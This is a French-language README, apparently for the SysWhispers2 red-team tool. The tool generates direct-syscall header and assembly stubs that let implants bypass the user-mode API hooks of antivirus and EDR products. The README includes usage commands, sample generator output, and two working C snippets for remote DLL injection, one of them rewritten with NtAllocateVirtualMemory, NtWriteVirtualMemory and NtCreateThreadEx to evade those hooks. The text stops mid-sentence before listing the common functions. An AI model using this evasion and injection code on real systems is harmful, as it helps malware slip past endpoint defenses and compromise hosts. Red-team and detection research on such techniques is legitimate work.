
Évasion d'AV/EDR via des appels système directs.
SysWhispers aide à l'évasion en générant des fichiers d'en-tête/ASM que les implants peuvent utiliser pour effectuer des appels système directs.
Tous les appels système principaux sont pris en charge et des exemples de fichiers générés sont disponibles dans le dossier example-output/.
L'utilisation est presque identique à SysWhispers1 mais vous n'avez pas à spécifier quelles versions de Windows prendre en charge. La plupart des changements sont sous le capot. Il ne repose plus sur les tables d'appels système de @j00ru, mais utilise la technique de "tri par adresse d'appel système" popularisée par @modexpblog. Cela réduit considérablement la taille des stubs d'appels système.
L'implémentation spécifique dans SysWhispers2 est une variante du code de @modexpblog. Une différence est que les hachages des noms de fonctions sont randomisés à chaque génération. @ElephantSe4l, qui avait publié cette technique plus tôt, a une autre implémentation basée en C++17 qui vaut également le coup d'œil.
Le dépôt original de SysWhispers est toujours en ligne mais pourrait être déprécié à l'avenir.
Divers produits de sécurité placent des hooks dans les fonctions API en mode utilisateur qui leur permettent de rediriger le flux d'exécution vers leurs moteurs et de détecter des comportements suspects. Les fonctions dans ntdll.dll qui effectuent les appels système ne consistent qu'en quelques instructions assembleur, donc les réimplémenter dans votre propre implant peut contourner le déclenchement de ces hooks de produits de sécurité. Cette technique a été popularisée par @Cn33liz et son article de blog contient plus de détails techniques qui valent la peine d'être lus.
SysWhispers offre aux red teamers la capacité de générer des paires d'en-tête/ASM pour n'importe quel appel système dans l'image du noyau principal (ntoskrnl.exe). Les en-têtes incluront également les définitions de types nécessaires.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2 : Pourquoi appeler le noyau quand on peut murmurer ?
Toutes les fonctions sélectionnées.
Terminé ! Fichiers écrits dans :
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Utiliser l'option --preset common créera une paire d'en-tête/ASM avec les fonctions suivantes :